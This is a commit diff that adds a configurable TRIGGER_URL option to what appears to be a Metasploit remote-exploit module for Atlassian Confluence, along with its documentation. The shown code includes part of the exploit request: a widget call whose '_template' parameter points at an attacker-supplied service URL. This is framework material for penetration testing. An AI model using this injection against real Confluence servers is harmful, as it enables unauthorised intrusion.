Added TRIGGER_URL option

master
rrockru 2019-04-12 00:12:27 +03:00
parent 91eb29b1fe
commit 82def16953
2 changed files with 5 additions and 2 deletions

View File

@ -30,6 +30,7 @@ List the steps needed to make sure this thing works
# Options
- **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default)
- **TRIGGER_URL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default)
# Scenario
## Tested on Confluence 6.8.2 with Windows target

View File

@ -59,7 +59,9 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [true, 'The base to Confluence', '/'])
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('TRIGGER_URL', [true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])
])
end
@ -212,7 +214,7 @@ class MetasploitModule < Msf::Exploit::Remote
'name' => 'widget',
'body' => '',
'params' => {
'url' => 'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
'url' => datastore['TRIGGER_URL'],
'_template' => service_url
}